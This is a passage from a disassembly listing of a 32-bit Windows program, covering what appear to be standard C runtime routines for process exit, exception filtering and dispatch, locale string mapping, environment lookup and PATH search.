offset dword_43A014 call sub_430C0D push offset dword_43A010 push offset dword_43A000 call sub_430C0D add esp, 10h retn sub_430B07 endp ; =============== S U B R O U T I N E ======================================= sub_430B34 proc near ; CODE XREF: .text:0042C658p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_430B56 add esp, 0Ch retn sub_430B34 endp ; =============== S U B R O U T I N E ======================================= sub_430B45 proc near ; CODE XREF: .text:0042AC86p ; .text:0042C677p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_430B56 add esp, 0Ch retn sub_430B45 endp ; =============== S U B R O U T I N E ======================================= sub_430B56 proc near ; CODE XREF: sub_430B34+8p ; sub_430B45+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi call sub_430BFB push 1 pop edi cmp dword_676A0C, edi jnz short loc_430B78 push [esp+4+arg_0] call dword_43704C ; GetCurrentProcess push eax call dword_437118 ; TerminateProcess loc_430B78: ; CODE XREF: sub_430B56+Fj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_676A08, edi mov byte_676A04, bl jnz short loc_430BCC mov eax, dword_676ED4 test eax, eax jz short loc_430BBB mov ecx, dword_676ED0 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_430BBA loc_430BA7: ; CODE XREF: sub_430B56+62j mov eax, [esi] test eax, eax jz short loc_430BAF call eax loc_430BAF: ; CODE XREF: sub_430B56+55j sub esi, 4 cmp esi, dword_676ED4 jnb short loc_430BA7 loc_430BBA: ; CODE XREF: sub_430B56+4Fj pop esi loc_430BBB: ; CODE XREF: sub_430B56+41j push offset dword_43A034 push offset dword_43A02C call sub_430C0D pop ecx pop ecx loc_430BCC: ; CODE XREF: sub_430B56+38j push offset dword_43A040 push offset dword_43A038 call sub_430C0D pop ecx pop ecx test ebx, ebx pop ebx jz short loc_430BE9 call sub_430C04 pop edi retn ; --------------------------------------------------------------------------- loc_430BE9: ; CODE XREF: sub_430B56+8Aj push [esp+4+arg_0] mov dword_676A0C, edi call dword_4370D4 ; ExitProcess pop edi retn sub_430B56 endp ; =============== S U B R O U T I N E ======================================= sub_430BFB proc near ; CODE XREF: sub_42B7EB+1p ; sub_430B56+1p push 0Dh call sub_42DAEF pop ecx retn sub_430BFB endp ; =============== S U B R O U T I N E ======================================= sub_430C04 proc near ; CODE XREF: sub_42B7EB:loc_42B860p ; sub_430B56+8Cp push 0Dh call sub_42DB50 pop ecx retn sub_430C04 endp ; =============== S U B R O U T I N E ======================================= sub_430C0D proc near ; CODE XREF: sub_430B07+15p ; sub_430B07+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_430C12: ; CODE XREF: sub_430C0D+16j cmp esi, [esp+4+arg_4] jnb short loc_430C25 mov eax, [esi] test eax, eax jz short loc_430C20 call eax loc_430C20: ; CODE XREF: sub_430C0D+Fj add esi, 4 jmp short loc_430C12 ; --------------------------------------------------------------------------- loc_430C25: ; CODE XREF: sub_430C0D+9j pop esi retn sub_430C0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430C27 proc near ; CODE XREF: .text:0042AC78p ; .text:0042C669p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi call sub_42E4EE mov esi, eax push dword ptr [esi+50h] push [ebp+arg_0] call sub_430D65 pop ecx test eax, eax pop ecx jz loc_430D58 mov ebx, [eax+8] test ebx, ebx mov [ebp+arg_0], ebx jz loc_430D58 cmp ebx, 5 jnz short loc_430C68 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_430D61 ; --------------------------------------------------------------------------- loc_430C68: ; CODE XREF: sub_430C27+33j cmp ebx, 1 jz loc_430D53 mov ecx, [esi+54h] mov [ebp+var_4], ecx mov ecx, [ebp+arg_4] mov [esi+54h], ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_430D45 mov edx, dword_4538B0 mov ecx, dword_4538B4 add ecx, edx push edi cmp edx, ecx jge short loc_430CC3 lea ecx, [edx+edx*2] shl ecx, 2 loc_430CA2: ; CODE XREF: sub_430C27+97j mov edi, [esi+50h] add ecx, 0Ch and dword ptr [ecx+edi-4], 0 mov edi, dword_4538B0 mov ebx, dword_4538B4 inc edx add ebx, edi cmp edx, ebx jl short loc_430CA2 mov ebx, [ebp+arg_0] loc_430CC3: ; CODE XREF: sub_430C27+73j mov eax, [eax] mov edi, [esi+58h] cmp eax, 0C000008Eh jnz short loc_430CD8 mov dword ptr [esi+58h], 83h jmp short loc_430D36 ; --------------------------------------------------------------------------- loc_430CD8: ; CODE XREF: sub_430C27+A6j cmp eax, 0C0000090h jnz short loc_430CE8 mov dword ptr [esi+58h], 81h jmp short loc_430D36 ; --------------------------------------------------------------------------- loc_430CE8: ; CODE XREF: sub_430C27+B6j cmp eax, 0C0000091h jnz short loc_430CF8 mov dword ptr [esi+58h], 84h jmp short loc_430D36 ; --------------------------------------------------------------------------- loc_430CF8: ; CODE XREF: sub_430C27+C6j cmp eax, 0C0000093h jnz short loc_430D08 mov dword ptr [esi+58h], 85h jmp short loc_430D36 ; --------------------------------------------------------------------------- loc_430D08: ; CODE XREF: sub_430C27+D6j cmp eax, 0C000008Dh jnz short loc_430D18 mov dword ptr [esi+58h], 82h jmp short loc_430D36 ; --------------------------------------------------------------------------- loc_430D18: ; CODE XREF: sub_430C27+E6j cmp eax, 0C000008Fh jnz short loc_430D28 mov dword ptr [esi+58h], 86h jmp short loc_430D36 ; --------------------------------------------------------------------------- loc_430D28: ; CODE XREF: sub_430C27+F6j cmp eax, 0C0000092h jnz short loc_430D36 mov dword ptr [esi+58h], 8Ah loc_430D36: ; CODE XREF: sub_430C27+AFj ; sub_430C27+BFj ... push dword ptr [esi+58h] push 8 call ebx pop ecx mov [esi+58h], edi pop ecx pop edi jmp short loc_430D4D ; --------------------------------------------------------------------------- loc_430D45: ; CODE XREF: sub_430C27+5Cj and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_430D4D: ; CODE XREF: sub_430C27+11Cj mov eax, [ebp+var_4] mov [esi+54h], eax loc_430D53: ; CODE XREF: sub_430C27+44j or eax, 0FFFFFFFFh jmp short loc_430D61 ; --------------------------------------------------------------------------- loc_430D58: ; CODE XREF: sub_430C27+1Cj ; sub_430C27+2Aj push [ebp+arg_4] call dword_4371F0 ; UnhandledExceptionFilter loc_430D61: ; CODE XREF: sub_430C27+3Cj ; sub_430C27+12Fj pop esi pop ebx leave retn sub_430C27 endp ; =============== S U B R O U T I N E ======================================= sub_430D65 proc near ; CODE XREF: sub_430C27+13p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov ecx, dword_4538BC push esi mov esi, [esp+4+arg_0] cmp [edx], esi push edi mov eax, edx jz short loc_430D8C lea edi, [ecx+ecx*2] lea edi, [edx+edi*4] loc_430D81: ; CODE XREF: sub_430D65+25j add eax, 0Ch cmp eax, edi jnb short loc_430D8C cmp [eax], esi jnz short loc_430D81 loc_430D8C: ; CODE XREF: sub_430D65+14j ; sub_430D65+21j lea ecx, [ecx+ecx*2] lea ecx, [edx+ecx*4] cmp eax, ecx jnb short loc_430D9A cmp [eax], esi jz short loc_430D9C loc_430D9A: ; CODE XREF: sub_430D65+2Fj xor eax, eax loc_430D9C: ; CODE XREF: sub_430D65+33j pop edi pop esi retn sub_430D65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430D9F proc near ; CODE XREF: sub_42AF20+C5p ; sub_42AF20+F3p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437678 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_676A10, edi jnz short loc_430E15 push edi push edi push 1 pop ebx push ebx push offset dword_437670 mov esi, 100h push esi push edi call dword_4371E8 ; LCMapStringW test eax, eax jz short loc_430DF3 mov dword_676A10, ebx jmp short loc_430E15 ; --------------------------------------------------------------------------- loc_430DF3: ; CODE XREF: sub_430D9F+4Aj push edi push edi push ebx push offset word_454038 push esi push edi call dword_4371EC ; LCMapStringA test eax, eax jz loc_430F2D mov dword_676A10, 2 loc_430E15: ; CODE XREF: sub_430D9F+2Ej ; sub_430D9F+52j cmp [ebp+arg_C], edi jle short loc_430E2A push [ebp+arg_C] push [ebp+arg_8] call sub_435D62 pop ecx pop ecx mov [ebp+arg_C], eax loc_430E2A: ; CODE XREF: sub_430D9F+79j mov eax, dword_676A10 cmp eax, 2 jnz short loc_430E51 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4371EC ; LCMapStringA jmp loc_430F2F ; --------------------------------------------------------------------------- loc_430E51: ; CODE XREF: sub_430D9F+93j cmp eax, 1 jnz loc_430F2D cmp [ebp+arg_18], edi jnz short loc_430E67 mov eax, dword_6769B8 mov [ebp+arg_18], eax loc_430E67: ; CODE XREF: sub_430D9F+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_437184 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_430F2D mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_429B60 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_430EC2 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_430EC2: ; CODE XREF: sub_430D9F+10Ej cmp [ebp+var_24], edi jz short loc_430F2D push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_437184 ; MultiByteToWideChar test eax, eax jz short loc_430F2D push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4371E8 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_430F2D test byte ptr [ebp+arg_4+1], 4 jz short loc_430F41 cmp [ebp+arg_14], edi jz loc_430FBC cmp esi, [ebp+arg_14] jg short loc_430F2D push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4371E8 ; LCMapStringW test eax, eax jnz loc_430FBC loc_430F2D: ; CODE XREF: sub_430D9F+66j ; sub_430D9F+B5j ... xor eax, eax loc_430F2F: ; CODE XREF: sub_430D9F+ADj ; sub_430D9F+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_430F41: ; CODE XREF: sub_430D9F+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_429B60 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_430F75 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_430F75: ; CODE XREF: sub_430D9F+1C2j cmp ebx, edi jz short loc_430F2D push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4371E8 ; LCMapStringW test eax, eax jz short loc_430F2D cmp [ebp+arg_14], edi push edi push edi jnz short loc_430F9C push edi push edi jmp short loc_430FA2 ; --------------------------------------------------------------------------- loc_430F9C: ; CODE XREF: sub_430D9F+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_430FA2: ; CODE XREF: sub_430D9F+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_437074 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_430F2D loc_430FBC: ; CODE XREF: sub_430D9F+165j ; sub_430D9F+188j mov eax, esi jmp loc_430F2F sub_430D9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430FC3 proc near ; CODE XREF: sub_42B0E9+96p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push esi push edi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_431128 add esp, 10h cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz loc_431121 call sub_42F119 cmp dword ptr [eax], 2 jnz loc_431121 push 2Fh push [ebp+arg_4] call sub_434794 pop ecx test eax, eax pop ecx jnz loc_431121 push offset aPath ; "PATH" call sub_4312C2 mov edi, eax pop ecx test edi, edi jz loc_431121 push 104h call sub_4297B8 mov esi, eax pop ecx test esi, esi jz loc_431121 push ebx mov ebx, 103h push ebx push esi push edi loc_43103F: ; CODE XREF: sub_430FC3+151j call sub_434720 add esp, 0Ch mov [ebp+var_4], eax test eax, eax jz loc_431119 cmp byte ptr [esi], 0 jz loc_431119 push esi call sub_4293A0 lea edi, [eax+esi-1] pop ecx mov al, [edi] cmp al, 5Ch jnz short loc_43107A push 5Ch push esi call sub_4346AE pop ecx cmp edi, eax pop ecx jmp short loc_43107C ; --------------------------------------------------------------------------- loc_43107A: ; CODE XREF: sub_430FC3+A7j cmp al, 2Fh loc_43107C: ; CODE XREF: sub_430FC3+B5j jz short loc_43108B push offset asc_44DABC ; "\\" push esi call sub_42A5E0 pop ecx pop ecx loc_43108B: ; CODE XREF: sub_430FC3:loc_43107Cj push esi call sub_4293A0 push [ebp+arg_4] mov edi, eax call sub_4293A0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_431119 push [ebp+arg_4] push esi call sub_42A5E0 push [ebp+arg_C] push [ebp+arg_8] push esi push [ebp+arg_0] call sub_431128 add esp, 18h cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_431119 call sub_42F119 cmp dword ptr [eax], 2 jz short loc_43110F push 5Ch push esi call sub_434794 pop ecx cmp esi, eax pop ecx jz short loc_4310F0 push 2Fh push esi call sub_434794 pop ecx cmp esi, eax pop ecx jnz short loc_431119 loc_4310F0: ; CODE XREF: sub_430FC3+11Dj lea edi, [esi+1] push 5Ch push edi call sub_434794 pop ecx cmp edi, eax pop ecx jz short loc_43110F push 2Fh push edi call sub_434794 pop ecx cmp edi, eax pop ecx jnz short loc_431119 loc_43110F: ; CODE XREF: sub_430FC3+10Fj ; sub_430FC3+13Cj push ebx push esi push [ebp+var_4] jmp loc_43103F ; --------------------------------------------------------------------------- loc_431119: ; CODE XREF: sub_430FC3+89j ; sub_430FC3+92j ... push esi call sub_4298F2 pop ecx pop ebx loc_431121: ; CODE XREF: sub_430FC3+21j ; sub_430FC3+2Fj ... mov eax, [ebp+var_8] pop edi pop esi leave retn sub_430FC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431128 proc near ; CODE XREF: sub_42B0E9+4Fp ; sub_430FC3+13p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_4] push esi push edi push 5Ch push ebx mov edi, ebx call sub_4346AE push 2Fh push ebx mov esi, eax call sub_4346AE add esp, 10h test eax, eax jnz short loc_431193 test esi, esi jnz short loc_43119D push 3Ah push ebx call sub_434794 mov esi, eax pop ecx test esi, esi pop ecx jnz short loc_43119D push ebx call sub_4293A0 add eax, 3 push eax call sub_4297B8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4311F6 push offset a__0 ; ".\\" push edi call sub_42A5D0 push ebx push edi call sub_42A5E0 add esp, 10h lea esi, [edi+2] jmp short loc_43119D ; --------------------------------------------------------------------------- loc_431193: ; CODE XREF: sub_431128+24j test esi, esi jz short loc_43119B cmp eax, esi jbe short loc_43119D loc_43119B: ; CODE XREF: sub_431128+6Dj mov esi, eax loc_43119D: ; CODE XREF: sub_431128+28j ; sub_431128+38j ... or [ebp+var_8], 0FFFFFFFFh push 2Eh push esi call sub_4346AE pop ecx test eax, eax pop ecx jz short loc_4311DC push 0 push edi call sub_42A6C0 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz loc_43125E push [ebp+arg_C] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_431271 add esp, 10h mov [ebp+var_8], eax jmp loc_43125E ; --------------------------------------------------------------------------- loc_4311DC: ; CODE XREF: sub_431128+85j push edi call sub_4293A0 add eax, 5 push eax call sub_4297B8 mov ebx, eax pop ecx test ebx, ebx pop ecx mov [ebp+var_4], ebx jnz short loc_4311FB loc_4311F6: ; CODE XREF: sub_431128+4Fj or eax, 0FFFFFFFFh jmp short loc_43126C ; --------------------------------------------------------------------------- loc_4311FB: ; CODE XREF: sub_431128+CCj push edi push ebx call sub_42A5D0 push edi call sub_4293A0 mov esi, eax add esp, 0Ch add esi, ebx mov ebx, offset off_4538CC loc_431214: ; CODE XREF: sub_431128+10Fj push dword ptr [ebx] push esi call sub_42A5D0 push 0 push [ebp+var_4] call sub_42A6C0 add esp, 10h cmp eax, 0FFFFFFFFh jnz short loc_43123B sub ebx, 4 cmp ebx, offset off_4538C0 jge short loc_431214 jmp short loc_431252 ; --------------------------------------------------------------------------- loc_43123B: ; CODE XREF: sub_431128+104j push [ebp+arg_C] push [ebp+arg_8] push [ebp+var_4] push [ebp+arg_0] call sub_431271 add esp, 10h mov [ebp+var_8], eax loc_431252: ; CODE XREF: sub_431128+111j push [ebp+var_4] call sub_4298F2 mov ebx, [ebp+arg_4] pop ecx loc_43125E: ; CODE XREF: sub_431128+94j ; sub_431128+AFj cmp edi, ebx jz short loc_431269 push edi call sub_4298F2 pop ecx loc_431269: ; CODE XREF: sub_431128+138j mov eax, [ebp+var_8] loc_43126C: ; CODE XREF: sub_431128+D1j pop edi pop esi pop ebx leave retn sub_431128 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431271 proc near ; CODE XREF: sub_431128+A4p ; sub_431128+11Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_4] lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_434A14 add esp, 14h cmp eax, 0FFFFFFFFh jnz short loc_431296 or eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_431296: ; CODE XREF: sub_431271+1Fj push esi push [ebp+arg_8] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_43482B push [ebp+arg_C] mov esi, eax call sub_4298F2 push [ebp+arg_8] call sub_4298F2 add esp, 18h mov eax, esi pop esi pop ebp retn sub_431271 endp ; =============== S U B R O U T I N E ======================================= sub_4312C2 proc near ; CODE XREF: sub_42B0E9+Dp ; sub_430FC3+4Ep arg_0 = dword ptr 4 push esi push 0Ch call sub_42DAEF push [esp+8+arg_0] call sub_4312E3 push 0Ch mov esi, eax call sub_42DB50 add esp, 0Ch mov eax, esi pop esi retn sub_4312C2 endp ; =============== S U B R O U T I N E ======================================= sub_4312E3 proc near ; CODE XREF: sub_4312C2+Cp ; sub_4339B6+31p arg_0 = dword ptr 4 cmp dword_676EC8, 0 push ebx push esi mov esi, dword_6769EC push edi jz short loc_43135A test esi, esi jnz short loc_431314 cmp dword_6769F4, esi jz short loc_43135A call sub_434C59 test eax, eax jnz short loc_43135A mov esi, dword_6769EC test esi, esi jz short loc_43135A loc_431314: ; CODE XREF: sub_4312E3+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_43135A push ebx call sub_4293A0 pop ecx mov edi, eax loc_431325: ; CODE XREF: sub_4312E3+6Dj mov eax, [esi] test eax, eax jz short loc_43135A push eax call sub_4293A0 cmp eax, edi pop ecx jbe short loc_43134D mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_43134D push edi push ebx push eax call sub_434C1A add esp, 0Ch test eax, eax jz short loc_431352 loc_43134D: ; CODE XREF: sub_4312E3+51j ; sub_4312E3+59j add esi, 4 jmp short loc_431325 ; --------------------------------------------------------------------------- loc_431352: ; CODE XREF: sub_4312E3+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_43135C ; --------------------------------------------------------------------------- loc_43135A: ; CODE XREF: sub_4312E3+10j ; sub_4312E3+1Cj ... xor eax, eax loc_43135C: ; CODE XREF: sub_4312E3+75j pop edi pop esi pop ebx retn sub_4312E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431360 proc near ; CODE XREF: .text:0042B597p ; sub_42B600+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_431376 call sub_431C2D loc_431376: ; CODE XREF: sub_431360+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_43139E cmp dword ptr [esi+4], 0 jz short loc_4313F4 cmp [ebp+arg_14], 0 jnz short loc_4313F4 push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_4316B5 add esp, 10h jmp short loc_4313F4 ; --------------------------------------------------------------------------- loc_43139E: ; CODE XREF: sub_431360+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_4313F4 cmp dword ptr [eax], 0E06D7363h jnz short loc_4313D8 cmp [eax+14h], edi jbe short loc_4313D8 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_4313D8 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_4313F7 ; --------------------------------------------------------------------------- loc_4313D8: ; CODE XREF: sub_431360+4Aj ; sub_431360+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_4313FB add esp, 20h loc_4313F4: ; CODE XREF: sub_431360+23j ; sub_431360+29j ... push 1 pop eax loc_4313F7: ; CODE XREF: sub_431360+76j pop edi pop esi pop ebp retn sub_431360 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4313FB proc near ; CODE XREF: sub_431360+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_43141B mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_431420 loc_43141B: ; CODE XREF: sub_4313FB+16j call sub_431C2D loc_431420: ; CODE XREF: sub_4313FB+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_431583 cmp dword ptr [esi+10h], 3 jnz short loc_4314A0 cmp [esi+14h], edi jnz short loc_4314A0 cmp dword ptr [esi+1Ch], 0 jnz short loc_4314A0 call sub_42E4EE cmp dword ptr [eax+6Ch], 0 jz loc_43157E call sub_42E4EE mov esi, [eax+6Ch] call sub_42E4EE mov eax, [eax+70h] push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_434CC7 pop ecx test eax, eax pop ecx jnz short loc_431482 call sub_431C2D loc_431482: ; CODE XREF: sub_4313FB+80j cmp [esi], ebx jnz loc_431583 cmp dword ptr [esi+10h], 3 jnz short loc_4314A0 cmp [esi+14h], edi jnz short loc_4314A0 cmp dword ptr [esi+1Ch], 0 jnz short loc_4314A0 call sub_431C2D loc_4314A0: ; CODE XREF: sub_4313FB+41j ; sub_4313FB+46j ... cmp [esi], ebx jnz loc_431583 cmp dword ptr [esi+10h], 3 jnz loc_431583 cmp [esi+14h], edi jnz loc_431583 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_42B750 add esp, 14h mov ebx, eax loc_4314D7: ; CODE XREF: sub_4313FB+16Ej mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_43156E cmp [ebx], edi jg short loc_431563 cmp edi, [ebx+4] jg short loc_431563 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_431560 loc_4314FC: ; CODE XREF: sub_4313FB+13Dj mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_43152D loc_43150E: ; CODE XREF: sub_4313FB+130j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_431658 add esp, 0Ch test eax, eax jnz short loc_43153C dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_43150E loc_43152D: ; CODE XREF: sub_4313FB+111j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_4314FC jmp short loc_431560 ; --------------------------------------------------------------------------- loc_43153C: ; CODE XREF: sub_4313FB+125j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_431769 add esp, 2Ch loc_431560: ; CODE XREF: sub_4313FB+FFj ; sub_4313FB+13Fj mov edi, [ebp+var_10] loc_431563: ; CODE XREF: sub_4313FB+EAj ; sub_4313FB+EFj inc [ebp+var_4] add ebx, 14h jmp loc_4314D7 ; --------------------------------------------------------------------------- loc_43156E: ; CODE XREF: sub_4313FB+E2j cmp [ebp+arg_14], 0 jz short loc_43157E push 1 push esi call sub_431AED pop ecx pop ecx loc_43157E: ; CODE XREF: sub_4313FB+57j ; sub_4313FB+177j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_431583: ; CODE XREF: sub_4313FB+37j ; sub_4313FB+89j ... cmp [ebp+arg_14], 0 jnz short loc_4315A9 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_4315AE add esp, 20h jmp short loc_43157E ; --------------------------------------------------------------------------- loc_4315A9: ; CODE XREF: sub_4313FB+18Cj jmp sub_431BCC sub_4313FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4315AE proc near ; CODE XREF: sub_4313FB+1A4p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx push esi push edi call sub_42E4EE cmp dword ptr [eax+68h], 0 jz short loc_4315E1 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_42B625 add esp, 1Ch test eax, eax jnz short loc_431654 loc_4315E1: ; CODE XREF: sub_4315AE+10j mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_42B750 add esp, 14h mov esi, eax loc_4315FD: ; CODE XREF: sub_4315AE+A4j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_431654 cmp edi, [esi] jl short loc_43164C cmp edi, [esi+4] jg short loc_43164C mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_431626 cmp byte ptr [ecx+8], 0 jnz short loc_43164C loc_431626: ; CODE XREF: sub_4315AE+70j push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_431769 add esp, 2Ch loc_43164C: ; CODE XREF: sub_4315AE+59j ; sub_4315AE+5Ej ... inc [ebp+var_4] add esi, 14h jmp short loc_4315FD ; 